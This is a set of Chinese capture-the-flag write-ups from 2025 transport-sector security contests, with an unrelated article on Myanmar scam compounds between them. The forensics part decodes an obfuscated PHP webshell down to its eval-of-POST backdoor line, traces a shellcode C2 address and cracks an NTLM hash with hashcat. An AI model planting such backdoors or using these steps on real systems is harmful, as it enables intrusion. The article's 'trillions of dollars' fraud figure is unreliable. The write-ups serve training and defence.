2025年交通运输网络安全大赛线上赛部分WRITEUP

所以,这些题目和交通有什么关系❓(黑人问号

团体赛

工控分析

工控分析7

工控分析7:黑客对工控网络中的PLC设施了攻击,根据流量分析IP为192.168.1.10的订单号是()。

过滤器筛选s7comm​,然后datalength降序排列,找IP192.168.1.10

image

image

安全杂项

安全杂项4

安全杂项4:一个隐藏在文件里的秘密文字,秘密文字格式为flag{}。

一个电话音,转出来是10002244

image

但这个地方应该是1024​的,转出来xor一下是jpg,修改宽高就出了

image

安全杂项6

小L是一名网站监控者,这天小L在监控的时候发现有人在流量中传输了带有秘密字符的文件,请您帮忙看看这个秘密字符是___

爆破png宽高,然后stegsolve打开,在B0通道

image

解码一下:

已解码数据 1:
-------------------------------------------------------------------------
位置:(23.9,14.9)-(565.2,14.9)-(23.9,556.2)-(565.2,556.2)
颜色正常, 正像
版本: 5   
纠错等级:M, 掩码:2   
内容:
KEY:6e3f7d35af7f4471b4f73485e9f436d7
IV:841711639bd14a4f8c2712ff4207304e
MODE:CBC

在一开始图片末尾有冗余数据

image

image

flag{ebb0c02c-62bb-43a7-998f-7481aa3c0a1e}

恶意代码分析

恶意代码分析10

小F在安全排查时发现了一个可疑程序(见附件),通过分析发现程序窃取了系统的某些文件信息,并将窃取后的文件打包命名为(),虽然程序并没有将打包后的数据发送出去,并且将打包好的文件删除了,但小F仍汇报该情况并及时的更新系统信息。

模拟勒索

image-20250809112633139

打包成datastolen.tar.gz

image-20250809111520868

image-20250809111509115

删除

image-20250809111713781

image-20250809111719886

strace也能发现,创建和删除

strace -e trace=file ./hacked2 ‍

image-20250809112536034

车联网安全

车辆网安全5

提取了ECU固件,逆向分析获得⼀段代码,能从代码中分析出什么吗?请找出其中的flag为___。提交格式:flag{十六进制数}

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
        printf("what?\n");
        exit(1);
    }

    unsigned int first = atoi(argv[1]);
    if (first != 0xcaffe) {
        printf("No, no, that's not right.\n");
        exit(2);
    }

    unsigned int second = atoi(argv[2]);
    if (second % 5 == 3 || second % 17 != 8) {
        printf("Hehe, you won't be able to get the flag!\n");
        exit(3);
    }

    if (strcmp("tboxcloud", argv[3])) {
        printf("It's getting very close now!\n");
        exit(4);
    }

    printf("Brr wrr grr\n");

    unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

    printf("Get your key: ");
    printf("%x\n", hash);
    return 0;
}

1 . 参数数量检查

if (argc != 4) {
    printf("what?\n");
    exit(1);
}

运行时必须有 3 个命令行参数:

argv[1], argv[2], argv[3]

加上程序名本身 argv[0]​,总共 argc = 4​。

2. 第一关:first

unsigned int first = atoi(argv[1]);
if (first != 0xcaffe) {
    ...
}

0xcaffe​ 十六进制转十进制:

0xcaffe = 831486

argv[1] 必须是 "831486" (不然直接 exit(2))。

3. 第二关:second

unsigned int second = atoi(argv[2]);
if (second % 5 == 3 || second % 17 != 8) {
    ...
}

条件:

  1. second % 5 != 3
  2. second % 17 == 8

找一个例子:

  • %17 == 8​ → 8, 25, 42, 59, 76, 93, ...
  • 去掉 %5 == 3​ 的数

    • 8 % 5 = 3 ❌
    • 25 % 5 = 0 ✅

所以 argv[2] 可以用 "25" (其他符合条件的值也行)。

4. 第三关:argv[3]

if (strcmp("tboxcloud", argv[3])) {
    ...
}

strcmp​ 返回 0 表示相等,所以 argv[3] 必须是 "tboxcloud" ​。

5. 输出 key 的计算过程

unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

这里所有运算都是在 unsigned int(32 位)范围内进行,超过 0xffffffff​ 就取模 2^32​,减法也会发生无符号借位。

./1.exe 831486 25 tboxcloud

输出:

Brr wrr grr
Get your key: b0c3ecf0

个人赛

安全取证

image

套了好几层的威盾解密


<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
echo '第一步生成:',$O00OO0;
echo '<br /><br />********************************************************<br /><br />';

$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};  
echo '第二步生成:',$O00O0O;
echo '<br /><br />********************************************************<br /><br />';

//上面解出来 $O00O0O=base64_decode;
//即然  $O00O0O=base64_decode那么把下面的代码改一下,eval是用来执行php代码,这里不需要执行,只需要解出php代码即可,那么去掉eavl 并把$O00O0O换成上面解出来的值
//eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
//修改后变成
echo '第三步生成:';
echo (base64_decode("JE8wTzAwMD0iY29UWlVnTU53V3BLaEFRZU9tQlJ5WWxkRkxqaUVIcnZ6a2ZJR3FzVnRQSmFuQ2JEdVhTeHVDeGZ5c0JvWkltT0thaHJlRXROVUxEY01RSnFpdldkRndiU0dQUmt6Z2xuQWpWcEhYVFlncDlabnZhc2xpRDVrQUw5TDNsRExYTkRYMmYxVkVvMG5JOUhPdm8wdUQ5VVYzaFlCVXNBbGp1bVFFb0N1cXNaQnhMWkJKQjBRRmEzb0pobVFFbEt1Mnkyb005d2ZJb2RmR3lDbDJsM2d4MEFPVDVKbnZTQ0J2c1VmeHd6QnZzVW8yQm1RRWxLdTJ5Mm9NOXdmSW9kZkd5Q2wxbU5neDBBT1RZRmN2bGJ1RTkwQnhCQ2wzU0FPVDVxTFhvRG9KTmJmR2tKVjJORE9qY3dmRjA5bFV3SExFTUZmeEwwWDJOREwyOXdmVHNBSWtpOWdUdW1RRWxLdTJ5Mm9NOXdmSW9kZkd5Q2wybHRneDBBT1Q1RmN2bGJ1RTkwQnhCQ2xVc0FPVDVGY3ZsYnVFOTBCeEJDbFVoQU9UNUpudlNDb3B3RkJGeWRvcFM1T1Q1cUxYb0RvSk5iZkdrSlYyTkRPamNxY0YwOWxVd0hMRU1GZnhMMFgyTkRMMjl3ZlRzQUxEaTlnVHVtUUVvQ3Vxc1pvSnlab3BpZEJwaFlvVHdITEVNRmZ4TDBYMk5ETDI5d2ZUc0FUMWk5Z1R1bVFBbzB1RDlVVjNoWUJVc0FlVXVtT3hSd1RYREljcUtxTFhvRG9KTmJmR2tKVjJORE9qY2VOaXlGeHF1SGwwTmtCdzhabFU0QWhFWXduMExBUXFjRlQwb1RmcXVIbFV1SExFTUZmeEwwWDJOREwyOXdmVHNBa0RpOWdUdW1RQW8wdUQ5VVYzaFlCVXNBeXF1bVFFbEt1Mnkyb005d2ZJb2RmR3lDbDA5Tmd4MEFPVDVKbnZTQ29GaFplcHNkZXBzVU9UNUZjdmxidUU5MEJ4QkNsMHdBT1Q0QWxVNEFsVTVKbnZTQ0J2c0ZvRkJ6QnZzRkJFaG1RQW8wdUQ5VVYzaFlCVXNBZlV1bVFFbEt1Mnkyb005d2ZJb2RmR3lDbDFmdGd4MEFPVDVxTFhvRG9KTmJmR2tKVjJORE9qY2Z5eDA5bFV3SExFTUZmeEwwWDJOREwyOXdmVHNBeURpOWdUdW1RcXVBUXF1WWtFTVh4cXVIbDB6RFZwdFpsVTRBeDNtTXJ5NEFRcWN5VFhtZW5xdUhsMnUzbFU0QWxVd21lRjgrIjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
echo '<br /><br />********************************************************<br /><br />';
//上页那步输出来代码为:
/*
$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
//同样,不需要eval,改成echo
$O0O000="coTZUgMNwWpKhAQeOmBRyYldFLjiEHrvzkfIGqsVtPJanCbDuXSxuCxfysBoZImOKahreEtNULDcMQJqivWdFwbSGPRkzglnAjVpHXTYgp9ZnvasliD5kAL9L3lDLXNDX2f1VEo0nI9HOvo0uD9UV3hYBUsAljumQEoCuqsZBxLZBJB0QFa3oJhmQElKu2y2oM9wfIodfGyCl2l3gx0AOT5JnvSCBvsUfxwzBvsUo2BmQElKu2y2oM9wfIodfGyCl1mNgx0AOTYFcvlbuE90BxBCl3SAOT5qLXoDoJNbfGkJV2NDOjcwfF09lUwHLEMFfxL0X2NDL29wfTsAIki9gTumQElKu2y2oM9wfIodfGyCl2ltgx0AOT5FcvlbuE90BxBClUsAOT5FcvlbuE90BxBClUhAOT5JnvSCopwFBFydopS5OT5qLXoDoJNbfGkJV2NDOjcqcF09lUwHLEMFfxL0X2NDL29wfTsALDi9gTumQEoCuqsZoJyZopidBphYoTwHLEMFfxL0X2NDL29wfTsAT1i9gTumQAo0uD9UV3hYBUsAeUumOxRwTXDIcqKqLXoDoJNbfGkJV2NDOjceNiyFxquHl0NkBw8ZlU4AhEYwn0LAQqcFT0oTfquHlUuHLEMFfxL0X2NDL29wfTsAkDi9gTumQAo0uD9UV3hYBUsAyqumQElKu2y2oM9wfIodfGyCl09Ngx0AOT5JnvSCoFhZepsdepsUOT5FcvlbuE90BxBCl0wAOT4AlU4AlU5JnvSCBvsFoFBzBvsFBEhmQAo0uD9UV3hYBUsAfUumQElKu2y2oM9wfIodfGyCl1ftgx0AOT5qLXoDoJNbfGkJV2NDOjcfyx09lUwHLEMFfxL0X2NDL29wfTsAyDi9gTumQquAQquYkEMXxquHl0zDVptZlU4Ax3mMry4AQqcyTXmenquHl2u3lU4AlUwmeF8+";
echo '最终代码是:(这是我用htmlspecialchars函数把标签转换了)'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));

?>

image

<?php $IyVv=create_function(str_rot13('$').chr(0160234/0764).base64_decode('bw==').chr(0x2e9-0x27c).base64_decode('ZQ=='),str_rot13('r').base64_decode('dg==').base64_decode('YQ==').base64_decode('bA==').str_rot13('(').str_rot13('$').chr(49335/429).base64_decode('bw==').base64_decode('bQ==').chr(065041/0415).base64_decode('KQ==').str_rot13(';'));$IyVv(base64_decode('NDE3N'.'DU2O0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').str_rot13('R').base64_decode('OQ==').chr(74088/882).str_rot13('I').''.''.chr(0x373-0x32d).str_rot13('g').base64_decode('VA==').base64_decode('YQ==').base64_decode('RQ==').''.'1VaWN'.'Kel0p'.'OzEyN'.'TIzNj'.'g7'.''));?>
import base64
import re

def str_rot13(s):
    result = []
    for c in s:
        if 'a' <= c <= 'z':
            result.append(chr((ord(c) - ord('a') + 13) % 26 + ord('a')))
        elif 'A' <= c <= 'Z':
            result.append(chr((ord(c) - ord('A') + 13) % 26 + ord('A')))
        else:
            result.append(c)
    return ''.join(result)

def parse_num(n):
    n = n.strip()
    if n.startswith('0x') or n.startswith('0X'):
        return int(n, 16)
    elif n.startswith('0') and len(n) > 1 and n[1].isdigit():
        return int(n, 8)
    else:
        return int(n)

def eval_math(expr):
    # 处理形如 "0x2e9-0x27c" 或 "74088/882"
    if '+' in expr:
        a, b = expr.split('+', 1)
        return parse_num(a) + parse_num(b)
    elif '-' in expr:
        a, b = expr.split('-', 1)
        return parse_num(a) - parse_num(b)
    elif '/' in expr:
        a, b = expr.split('/', 1)
        return parse_num(a) // parse_num(b)
    else:
        return parse_num(expr)

def parse_chr(expr):
    num = eval_math(expr)
    return chr(num)

def base64_decode_str(s):
    return base64.b64decode(s).decode()

def eval_php_expr(expr):
    expr = expr.strip()
    if expr.startswith("str_rot13("):
        inner = re.findall(r"str_rot13\('(.*)'\)", expr)[0]
        return str_rot13(inner)
    elif expr.startswith("base64_decode("):
        inner = re.findall(r"base64_decode\('(.*)'\)", expr)[0]
        return base64_decode_str(inner)
    elif expr.startswith("chr("):
        inner = re.findall(r"chr\((.*)\)", expr)[0]
        return parse_chr(inner)
    else:
        if expr.startswith("'") and expr.endswith("'"):
            return expr[1:-1]
        else:
            try:
                return chr(int(expr))
            except:
                return expr

def parse_php_concat(s):
    parts = s.split('.')
    result = ''
    for part in parts:
        part = part.strip()
        if part == "''":
            continue
        val = eval_php_expr(part)
        result += val
    return result

def main():
    param_expr = "str_rot13('$').chr(0160234/0764).base64_decode('bw==').chr(0x2e9-0x27c).base64_decode('ZQ==')"
    param = parse_php_concat(param_expr)
    print(f"第一个参数: {param}")

    func_body_expr = "str_rot13('r').base64_decode('dg==').base64_decode('YQ==').base64_decode('bA==').str_rot13('(').str_rot13('$').chr(49335/429).base64_decode('bw==').base64_decode('bQ==').chr(065041/0415).base64_decode('KQ==').str_rot13(';')"
    func_body = parse_php_concat(func_body_expr)
    print(f"第二个参数: {func_body}")

    base64_str = (
        'NDE3N' + 'DU2O0' + 'BldkF' + 'sKCRf' +
        base64_decode_str('VQ==') +
        str_rot13('R') +
        base64_decode_str('OQ==') +
        chr(74088//882) +
        str_rot13('I') +
        chr(0x373-0x32d) +
        str_rot13('g') +
        base64_decode_str('VA==') +
        base64_decode_str('YQ==') +
        base64_decode_str('RQ==') +
        '1VaWN' + 'Kel0p' + 'OzEyN' + 'TIzNj' + 'g7'
    )
    decoded_param = base64.b64decode(base64_str).decode()
    print(f"传入参数解码结果:\n{decoded_param}")

if __name__ == '__main__':
    main()
# 第一个参数: $some
# 第二个参数: eval($some);
# 传入参数解码结果:
# 417456;@evAl($_POST[ShMUicJz]);1252368;

恶意代码分析

有shellcode,直接步进到shellcode部分即可

image

步进之后分析出0C73CDFE0h为ip的16进制

image

转一下即可199.60.223.224

image

缅甸边境诈骗园区–军阀混战的产物

从寂静的小镇到整座城市,缅甸边境的一大片土地已经成为了跨国犯罪集团的中心,这些集团强迫人们进行大规模的网络诈骗犯罪活动,每年诈骗金额高达数万亿美元。这些诈骗中心在当地迅速蔓延,把人当作商品一样进行贩卖、强行关押、实施其他侵犯人权的行为,并受其胁迫在全球范围内实施诈骗,而缅泰边境的妙瓦底地区正是世界上诈骗中心最集中的地区之一。由于缅甸军政府、叛乱组织和地区军阀之间分裂的地缘政治格局,助长了这些犯罪集团的扩张,从小型的林间工棚到大型的城市院落,由诈骗集团产生的巨额收入支持着他们的日常活动并为缅甸军政府的暴行提供大量资金。

image

尽管缅甸军政府公开反对,但2024年的手机地理定位数据显示,妙瓦底诈骗中心与首都内比都,以及不同诈骗中心之间的频繁流动,揭示了潜在的犯罪聚集区域。具体情况如下:

  • 这些设备经常在诈骗园区(如水沟谷和KK园区)与首都的政府大楼之间频繁出现,表明有组织犯罪与缅甸军政权之间存在某种联系。
  • 这些设备在隶属于不同犯罪集团的诈骗园区(如东美园区和泰昌园区)之间流通,表明各个犯罪集团之间也有在进行“合作与协商”。

image

背景

当地时间2021年2月1日凌晨,缅甸发生军事政变,国家权力被移交给国防军总司令敏昂莱,随后几年间,缅甸军政府失去了对大片地区的控制权,导致犯罪集团得以扩大活动范围。这些组织与原缅甸军政府下属、索奇督上校领导的克伦民族军 (KNA)、民主克伦佛教军(DKBA)等其他武装组织以及各地区军阀合作,将泰缅边境的一片地带变成了世界上诈骗中心最集中的地方之一。2017年,索奇督上校与柬埔寨籍华裔佘智江领导的亚太国际控股集团合作,在佘智江支付470万美元的首付款后,开始在水沟谷开发亚太新城。此外,与14K组织头目尹国驹领导的东美集团还达成了一项开发赛西港的协议。

image

当地武装组织正是通过向水沟谷等犯罪园区的赌博和电诈企业提供了土地和安全保障获得收入。

这些诈骗中心的出现,很大一部分原因是东南亚地区在博彩领域的法律约束不够严格,大量的犯罪组织受东南亚较为宽松的法律环境所吸引,同时为了应对中国对跨境赌博和洗钱的严苛打击态势,在赌场和酒店方面投入巨资,吸引数百万游客前往该地区。然而,新冠疫情的爆发,导致当地旅游业崩溃,迫使这些组织将赌场业务多元化,实施诈骗活动,吸引来自世界各地的工作人员,强迫他们参与针对全球受害者的网络诈骗。

image

image

这些中心在掸邦(与中国、老挝和泰国接壤)和克伦邦(与泰国接壤)犯罪行为最为猖獗,当地法治意识淡薄,缺乏管理,缅甸军政府与叛乱组织之间的冲突造就了一种当地无法无天的社会环境。掸邦北部大部分地区被叛军控制,克伦民族联盟 (KNU) 及其武装派别克伦民族解放军 (KNLA) 在克伦邦割据一方。2023年,缅甸北部地区开始严厉打击网络犯罪。打击行动始于佤邦,随后果敢边防军被击败,网络犯罪遭受重创,数万名中国公民遣返回中国,而诈骗中心也被迫搬迁到妙瓦底周边。2025 年 2 月,中国和泰国与缅甸军政府合作,针对缅北犯罪中心展开打击,泰国切断了与缅甸边境地区的电力供应。

尽管缅甸军政府公开谴责并打击这些诈骗网络,但它们之间存在着共生关系。为了换取默许和安全保护,这些诈骗中心会将部分收入输送给克伦民族军。有消息称,克伦民族军与缅甸军政府共享诈骗中心收入,而敏昂莱则与克伦邦和掸邦的主要诈骗园区幕后老板保持联系。

园区

image

KK园区

目前,它由两个主要区域组成,通常被称为KK园区1号和KK园区2号。

2024年,区块链分析公司Chainalysis的一项调查发现,仅在KK园区内运营的一家诈骗集团在不到两年的时间里就从受害者手中骗取了超过1亿美元。考虑到该地区的犯罪团伙数量,估计实际数字要高出数十倍。

2024年2月至12月期间,KK园区1号和KK园区2号内新建了20多座建筑,连接两地的大片区域也已清理完毕,准备建造新建筑,卫星图像中可见多处地基。这两个区域的每日夜间辐射亮度数据显示,自2022年年中以来,辐射亮度迅速上升。与克伦邦首府帕安的夜间辐射亮度相比,这一增长尤为明显,帕安近年来的夜间辐射亮度实际上略有下降。

image

image

亚太新城

image

尽管相距 1000 公里,两个大型土地开发项目(一个在缅甸的克伦邦,另一个在柬埔寨的长湾)却有着惊人的相似之处:这两个项目都占地数千公顷,并计划建设机场、酒店和赌场;它们都位于尚待开发的角落;它们都被指控与网络赌博和其他非法活动有关,并且都被误认为是国有企业。

这两个项目都与同一位华裔商人有关:佘志江。

水沟谷是妙瓦底乡北部的一座城市,主要由亚太国际控股集团(亚太)建设。亚太是一家在香港注册的公司,其前董事长是柬埔寨华裔国民佘志江。佘志江目前在曼谷监狱等待引渡回中国,他被指控在东南亚经营非法赌博业务。2016 年,佘志江与索奇督达成协议,由亚太集团将瑞谷口从一个小村庄改造成一个度假城市,并受到克伦民族军的保护。项目于 2018 年获得投资项目批准。亚太集团的建设超出了其投资许可的限制,并在赌场在缅甸合法化之前就开始运营,引起了全国民主联盟政府的审查。尽管佘志江经常被描述为中国人,但他最初在缅甸亚太的公司记录中使用的名字是 Tang Kriang Kai(后来改为 She Zhi Jiang),并且他的国籍是柬埔寨人。柬埔寨政府文件显示,2017 年 1 月,王室下令授予佘志江公民身份,名字为 Tang Kriang Kai,而不到三周后,他就在缅甸投资与公司管理局注册了缅甸亚太公司。2022年在泰国因国际通缉令被捕。克伦边防军仍然忠于佘志江,2024年,齐图为他组织了一场祈祷仪式。

image

数据调查

调查追踪了 2024 年 1 月至 12 月期间检测到的符合以下条件的设备移动情况:

  • 在妙瓦底周边的四个已知诈骗中心之一至少检测到一次此设备,并且在内比都政府部门辖区及其周边政府部门住宅区至少检测到一次此设备。共发现7台符合此标准的设备。
  • 在妙瓦底江周边已知的四个诈骗中心位置中,至少有两个位置且至少检测到一次设备,共计213 台设备符合此标准,泰昌园区只有1个设备符合此标准。2024 年,符合此标准的设备有109台来自东美园区。

我们将这些限制访问地点之间的移动可以理解为一个更广泛的网络或行动角色的潜在迹象,将这些原本独立的站点连接起来,这些连线表明它们之间存在着十分紧密的关联。

image

有 6 个设备,暂定为 A、B、C、D、E 和 F ,在水沟谷和内比都的政府部门之间频繁移动:

  • 设备A:于2024年6月16日在内比都的南乌寺(Nan Oo Pagoda)被发现,该地点紧邻联邦议会(缅甸立法机构)。这表明该设备所有者可以进入受严密管辖的政府区域,因为该佛塔的建筑群正位于联邦议会的内部区域。
  • 设备B:多次造访缅甸外交部、多个部委办公楼和卫生部。该设备还曾造访水沟谷郊外一处不明建筑,该建筑距离自由水上乐园(亚太集团旗下企业)不到一公里,以及谷歌地图上标记为“拟建工业区”的约 76 英亩空地。根据卫星图像,该空地在 2024 年 2 月至 12 月期间遭到砍伐。
  • 设备C:曾出现在内比都的交通运输部和部长官邸,还拜访了疑似索奇督的住所。该设备所有者常驻在仰光,然而,该设备在7月份访问了内比都和水沟谷之后,定期访问内比都。根据这些行为分析,该设备所有者很可能拥有进入缅甸军政府管理区域的权限。
  • 在访问其他地区之后,2024 年 8 月在水沟谷发现了 D、E 和 F设备。

    • 设备D:在抵达水沟谷前约两周曾到访自然资源与环境部,并在约两周后在能源部被探查到,表明它可能在各个部门之间往返。
    • 设备E:在抵达水沟谷前,在内比都经历了一系列活动:在商务部、内比都农村公路发展部和民族事务部均被发现。
    • 设备F在缅甸中央银行、交通通讯部、体育与青年事务部以及商务部均有出现。值得注意的是,据报道,缅甸中央银行是帮助缅甸军政府逃避国际制裁的主要参与者。

image

设备

设备 A

  • 2024年7月13日至7月17日,A设备在水沟谷(Shwe Kokko)被发现。该设备主要停留在一个不起眼的购物区,但也曾到访过谷口度假村(Kokko Resort)和亚太员工宿舍(Yatai Staff Housing)之间的一个路口。在到达水沟谷之前,该设备于6月16日在内比都的南乌寺(Nan Oo Pagoda)被发现。

设备 B

  • 3月16日至3月28日,B设备位于水沟谷(Shwe Kokko)郊外一处空地上的不明建筑内。此前,它曾于2月26日造访过缅甸外交部。同年11月至12月期间,B设备多次造访内比都的重要地点。11月15日和12月3日,该设备被确认位于已知的部长官邸内。11月15日,B设备还造访了内比都部委区最南端的卫生部大楼。12月10日至12月30日,B设备三次造访了部委区北部的卫生部大楼,12月29日,B设备再次在缅甸外交部被发现。

设备 C

  • 7月初,C设备在内比都的各部委办公楼内被发现,并于月底前水沟谷(Shwe Kokko)。7月2日,该装置访问了交通运输部,并于7月3日以及7月9日至10日期间在各部委办公楼内被发现。7月23日,C装置出现在水沟谷(Shwe Kokko)的亚太新城(Yatai New City)内,并疑似造访了索奇督(Saw Chit Thu)的住所。该装置在2024年的大部分时间里都位于仰光市内,7月它访问了内比都和水沟谷之后,继续定期造访内比都。

设备 D

  • D设备于2024年7月22日在缅甸自然资源与环境保护部被发现。两周后,它于8月4日出现在亚太新城内。不久之后,它返回内比都,并于8月13日在能源部被发现。

设备 E

  • 2024年8月中旬,E设备造访了内比都的多个重要部委。8月12日,它造访了商务部南北两处办公楼,并于8月15日再次造访了商务部。8月14日,它访问了内比都农村公路发展部,8月15日又再次访问了该部。同一天,它还出现在民族事务部。不到一周后,E设备于8月20日出现在水沟谷(Shwe Kokko)和湄索(Mae Sot)之间的已知边境口岸,并从8月20日至8月23日多次访问了亚太新城(Yatai New City)和沟谷度假村(Kokko Resort)。

设备 F

  • 2024年5月和7月,F设备多次出现在内比都。5月21日,该设备在缅甸中央银行被发现,7月9日,该设备在交通运输部、体育与青年事务部和商务部被发现。7月29日,该设备进入卫生部的两个办公楼,7月30日,该设备再次进入体育与青年事务部。9天后,即8月8日,该设备在亚太新城内被发现。

image

参考文献

  1. https://c4ads.org/commentary/hot-lines/
  2. https://www.irrawaddy.com/opinion/analysis/the-hidden-fallout-from-chinas-cross-border-crime-crackdown-in-myanmar.html
  3. https://www.frontiermyanmar.net/en/the-mystery-man-behind-the-shwe-kokko-project/
  4. https://www.nperf.com/en/map/MM/1310460.Martaban/137098.Mytel/signal?ll=17.11979250078707&lg=97.70864144562599&zoom=9
  5. https://www.voanews.com/a/in-myanmar-internet-restrictions-and-surveillance-increase/7733716.html

2025年某交通国企内部网络安全比武 部分WriteUp

想喝🍋芭乐气泡果汁了捏 🍹~( ̄▽ ̄)

CRYPTO

part1:很明显的SM4算法

import binascii
from gmssl import sm4

def sm4_decode(key, data):
    sm4Alg = sm4.CryptSM4()  # Initialize SM4
    sm4Alg.set_key(key.encode(), sm4.SM4_DECRYPT)  # Set decryption key

    # Decrypt (ECB mode, no padding)
    ciphertext = binascii.unhexlify(data)  # Hex → bytes
    plaintext = sm4Alg.crypt_ecb(ciphertext)  # Decrypt

    # Return hex string
    return plaintext.hex()

def test():
    key = 'E1A90FB64DDE12AE'
    enHexRes = "06d7e65a973111b8a64c72150a27f61e"
    decrypted = sm4_decode(key, enHexRes)
    print("Decrypted (hex):", decrypted)

test()

然后解密hex即可得到第一部分

part2:明文 M​ 的构造方式泄露了私钥 p​ 的信息

from Crypto.Util.number import *
import gmpy2

c = int('1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df', 16)
n = int('c2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069', 16)
e = int('10001', 16)

p = gmpy2.gcd(c, n)
q = n // p

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

M = pow(c, d, n)

k = 2022 * 1011
m = M // (k * p)

print("Recovered m:", m)
print("Flag:", long_to_bytes(m).decode())

解密得到part2

WEB

攻击分析-1

打开日志很明显是目录扫描日志:

asynccode

攻击分析-2

asynccode

发现shell:img_5780.php

asynccode

往前翻阅日志,搜索img_5780.php

发现前一个POST为index.php

asynccode

flag{/upload/index.php&/upload/images/img_5780.php}

攻击分析-3

继续翻日志:

asynccode

asynccode

FORENSICS

WEBSHELL

冰蝎4.0流量,密钥可以搜索到04dac8afe0ca5015

asynccode

asynccode

asynccode

asynccode

Mem

使用lovelymem打开

asynccode

打开net.csv 查看相关net情况 发现存在异常端口

asynccode

即为10.112.77.140 8899

Ntlm

给出pass.txt 使用hashcat进行爆破 使用pass.txt为字典

hashcat -m 1000 "b31c6aa5660d6e87ee046b1bb5d0ff79" pass.txt

asynccode

PPC

数据泄露

提供的数据文件说明

  • 网站内存储文件:公民信息(user.csv)
  姓名,  住宅电话,       身份证,       年龄,   家庭住址,            性别
杨兰英, 15797298182 ,520330194910209167,75,贵州省遵义市习水县农贸巷999号,女
  • 说明:以上是一个公民信息(user.csv)中的内容格式,其中包含姓名、住宅电话、身份证、年龄、家庭住址、性别等。
  • 辅助信息资源
  • 省市对照表(省市对照.xlsx) :包含各省及其对应的下属城市信息,可用于识别或还原可能涉及的地理区域。
  • 身份证地区编号对照表(地区编号对照.csv) :包含身份证前6位与地区对应关系,用于还原公民身份中涉及的地区信息。

身份证规则说明

身份证号(idcard)

身份证号的⻓度为 18 位,分别是六位数字地址码、八位数字出生日期码、三位数字顺序码和最后一位数字校验码。

前1-6位:地址码

  • 第1-2位:省(自治区、直辖市)代码
  • 第3-4位:地级市(盟、自治州)代码
  • 第5-6位:县(市、区、旗)代码
  • 例如,地址码“110101”表示北京市东城区。

第7-14位:出生日期码

  • 采用“YYYYMMDD”格式,分别表示出生的年份、月份和日期。
